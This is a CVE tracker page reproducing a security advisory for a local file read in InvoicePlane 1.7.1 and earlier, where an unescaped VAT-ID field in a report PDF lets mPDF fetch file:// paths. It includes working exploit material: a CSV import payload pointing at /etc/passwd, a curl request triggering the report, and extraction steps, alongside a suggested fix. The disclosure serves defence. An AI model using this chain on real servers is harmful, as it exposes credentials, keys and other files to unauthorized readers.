CVE Watchtower

CVE-2026-65977invoiceplane/invoiceplane External Control of File Name or Path

NVD

Vulnerability Summary

Summary InvoicePlane renders the client VAT-ID field into the "Sales by Year/Date" report PDF without HTML escaping, while the mPDF renderer that produces the PDF is instantiated with the `file://` stream wrapper left enabled. A stored `client_vat_id` value of `<img src="file:///etc/passwd">` (or any absolute host path) is fetched by mPDF during report generation and its content is embedded into the downloadable PDF, giving arbitrary local file read on the server (CWE-73 / CWE-116). The malicious VAT-ID reaches the database through the CSV client-import path, which does not pass its cell values through the controllers' input filter. The read fires server-side when the report PDF is generated, so the disclosed bytes are exfiltrated into a file the operator downloads. Affected versions `invoiceplane/invoiceplane` up to and including the latest stable release `1.7.1` (also present on `develop`). Verified end to end on `1.7.1` (release commit `61b57f0b`), which bundles mPDF `8.2.7`. The raw sink at `application/views/reports/sales_by_year.php` has been present since the 2017 escaping sweep (commit `c420f92b`) and across every mPDF-era release. Not patched at time of report. Privilege required Authenticated back-office user (the InvoicePlane admin role, `user_type = 1`, that has access to Import Data and Reports). No customer/guest account is required. The vulnerability is a trust-boundary crossing: an application operator with only invoicing rights obtains read access to arbitrary files on the host that the PHP process can read (database credentials in `ipconfig.php`/`.env`, TLS private keys, `/etc/passwd`, other tenants' uploads), by exfiltrating them into a normal-looking report PDF. The read is stored/second-order: the payload is planted once and fires whenever the report is generated. Vulnerable code (file:line) `application/views/reports/sales_by_year.php` (report row, VAT-ID cell): ```php <tr> <td style="border-bottom: none;text-align:center;"><?php echo $result->VAT_ID; ?></td> <td style="border-bottom: none;text-align:center;" rowspan="<?php echo $numRows; ?>" valign="top"><?php _htmlsc($result->Name); ?></td> <td style="border-bottom: none;text-align:center;"><?php _trans('annual'); ?></td> <td style="border-bottom: none;text-align:center;"><?php echo format_currency($result->total_payment); ?></td> </tr> ``` `$result->VAT_ID` is the client's `client_vat_id` column (`application/modules/reports/models/Mdl_reports.php`, `sales_by_year()` selects `client_vat_id AS VAT_ID` in every branch). It is echoed RAW. The sibling cell on the very next line, `$result->Name` (the client name), is escaped with `_htmlsc()`. The 2017 commit `c420f92b` ("Adds HTML escaping to all PDF and web templates and reports") wrapped `Name` in `_htmlsc()` and only whitespace-normalized the `VAT_ID` cell, leaving it unescaped. Every other place that renders `client_vat_id` (the invoice/quote PDF templates, the public/web templates) uses `htmlsc()`; this one report cell is the missed sibling. The HTML is handed to `application/helpers/mpdf_helper.php::pdf_create()`, which builds the renderer and later writes the HTML. The constructor is called with only a `tempDir` option and no stream-wrapper restriction: ```php $mpdf = new \Mpdf\Mpdf([ 'tempDir' => UPLOADS_TEMP_MPDF_FOLDER, ]); ``` The helper never calls `whitelistStreamWrappers` or `SetProtocol` on the renderer before it writes the report HTML: ```php $mpdf->WriteHTML((string) $html); ``` mPDF resolves `<img src="file://...">` against the local filesystem because the stream-wrapper whitelist is left at its default. mPDF ships with `file` enabled by default (`vendor/mpdf/mpdf/src/Config/ConfigVariables.php`: `'whitelistStreamWrappers' => ['http', 'https', 'file']`), and `pdf_create()` never narrows it. On the `develop` line the same helper already added a dedicated `sanitize_pdf_footer_content()` routine ("prevent remote resource fetching (SSRF) during rendering") that strips all tags and attributes from the invoice/quote footer setting: the renderer-level resource-fetch risk was recognized and patched for ONE field (the footer) while the report VAT-ID sibling on the same `WriteHTML` pipeline stayed raw and the renderer itself was never locked down. The payload reaches storage because `client_vat_id` has no validation rule (`application/modules/clients/models/Mdl_clients.php::validation_rules()` lists it as a bare field). The admin clients FORM is filtered by `Admin_Controller::filter_input()`, which runs `strip_tags()` over `xss_clean()` of every submitted POST field and would remove the `<img>` tag. The CSV client import does NOT: `application/modules/import/models/Mdl_import.php::import_data()` reads each cell with `fgetcsv()` and calls `$this->db->insert('ip_clients', $db_array)` with no `strip_tags`/`xss_clean`. Because `filter_input()` only touches `$this->input->post()`, the CSV cell values bypass it and are stored verbatim. Reproduction (E2E against the official release, Docker php:8.3-apache + MySQL) Verified on the official `v1.7.1` release asset (commit `61b57f0b`, bundled mPDF `8.2.7`) deployed with `docker php:8.3-apache` + `mariadb:11`, setup wizard completed, admin session. Step 1: plant the payload through the CSV client import (Admin -> Import Data -> clients.csv). The import stores `client_vat_id` verbatim: ```csv client_name,client_vat_id Payload Client,"<img src=""file:///var/ip_sentinel.png"">" Passwd Client,"<img src=""file:///etc/passwd"">" Benign Client,DE123456789 ``` `/var/ip_sentinel.png` is a server-side file whose pixels encode a unique marker `INVOICEPLANE_SENTINEL_9f3a7c2e5b1d4088aa6f0e2c1b7d5e9a`. Seed one invoice for the payload client so it appears in the report. Step 2: generate the report as the admin: ```bash curl -s -b cookies.txt -X POST http://TARGET/index.php/reports/sales_by_year \ --data 'from_date=01/01/2026&to_date=12/31/2026&minQuantity=1&maxQuantity=999999&checkboxTax=0&btn_submit=Generate' \ -o report_exploit.pdf ``` Response: `HTTP/1.1 200 OK`, `Content-Type: application/pdf`, `X-Generator: mPDF 8.2.7`, 38173-byte body. Step 3: extract the embedded objects from the returned PDF and recover the server file content: ```bash pdfimages -all report_exploit.pdf img -> img-002.png (an object mPDF fetched from file:///var/ip_sentinel.png) decoding img-002.png pixels back to ASCII: RECOVERED FROM PDF: INVOICEPLANE_SENTINEL_9f3a7c2e5b1d4088aa6f0e2c1b7d5e9a ``` The server file content is present inside the downloaded report PDF, confirming the `file://` read is performed server-side and the bytes are exfiltrated to the operator's download. The `file:///etc/passwd` payload likewise causes mPDF to fetch that path (arbitrary absolute path, not a fixed directory). Negative control: with all VAT-IDs set to a benign value (`DE123456789`) and the identical request, the report PDF is 29687 bytes, `pdfimages` extracts no injected object, and the PDF contains no sentinel or `/etc/passwd` bytes. Patched build (exact exploit re-run): escaping the sink to `_htmlsc($result->VAT_ID)` makes the payload render as inert escaped text with no injected object and no sentinel bytes (30331-byte PDF, report still renders). Independently, dropping `file` from the renderer's `whitelistStreamWrappers` (constructor config, see below) makes mPDF silently reject the `file://` fetch, again with no injected object and the report still rendering (37824-byte PDF). Impact - Arbitrary local file read on the server as the web user: database credentials (`ipconfig.php` / `.env`), application secrets, TLS private keys, `/etc/passwd`, and any uploaded document under the InvoicePlane data directory, all exfiltrated into a downloadable PDF. - Stored / second-order: the payload is planted once via CSV import and the read executes every time the "Sales by Year/Date" report PDF is generated. - The mPDF `file://` exposure is renderer-wide: once the whitelist gap is closed at the renderer, every current and future unescaped user field on this PDF pipeline is protected in depth. Suggested fix Escape the sink and lock the renderer: ```php // application/views/reports/sales_by_year.php - <td style="border-bottom: none;text-align:center;"><?php echo $result->VAT_ID; ?></td> + <td style="border-bottom: none;text-align:center;"><?php _htmlsc($result->VAT_ID); ?></td> ``` ```php // application/helpers/mpdf_helper.php, in the pdf_create() Mpdf constructor $mpdf = new \Mpdf\Mpdf([ 'tempDir' => UPLOADS_TEMP_MPDF_FOLDER, + // Drop file:// so no template field can read local paths through the PDF pipeline + 'whitelistStreamWrappers' => ['http', 'https'], ]); ``` The whitelist must be set as the Mpdf constructor config key `whitelistStreamWrappers`; mPDF 8.2.7 exposes no `whitelistStreamWrappers()` setter method. Escaping `VAT_ID` mirrors the sibling `_htmlsc($result->Name)` call already on the adjacent line and the `htmlsc()` treatment of `client_vat_id` everywhere else. Restricting the stream-wrapper whitelist is defense-in-depth that closes the whole `file://` class for any other unescaped field on the shared `pdf_create()` pipeline. Optionally, run CSV-imported client cells through the same `strip_tags`/`xss_clean` used for form input so the ingress is closed as well. Fix PR A fix is provided on the advisory's private temp fork: `InvoicePlane/InvoicePlane-ghsa-j89p-m59x-86r9#1` (escape the report VAT-ID cell + drop `file` from the mPDF `whitelistStreamWrappers` + a dependency-free regression check under `tests/`). Credit Reported by tonghuaroot.
Severity Level
HIGH
Published Date
Sep 28, 2026
Last Modified
Sep 28, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
The product allows user input to control or influence paths or file names that are used in filesystem operations.
The product prepares a structured message for communication with another component, but encoding or escaping of the data is missing or incorrect.

Affected & Patched Versions

Affected Versions
  • invoiceplane/invoiceplane <= 1.7.1
Patched Versions
No patched version published yet
Until a fix ships, reduce exposure:
  • Restrict access to the affected service or interface to trusted networks.
  • Disable the affected feature if you do not need it.
  • Watch the vendor advisory for a firmware or software update.

What to do

Plan remediation soon. No exploitation is confirmed yet, but the severity is high.

  1. Check whether you run invoiceplane/invoiceplane and which version.
  2. No patched version is listed yet. Limit access to the affected service to trusted networks, and disable the feature if you can.
  3. Subscribe to the vendor advisory so you learn when a fix ships.

Timeline

  • Sep 28, 2026Published
  • Sep 28, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new invoiceplane/invoiceplane CVEsYou are reading CVE-2026-65977. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Nov 23, 2026 17:00 UTC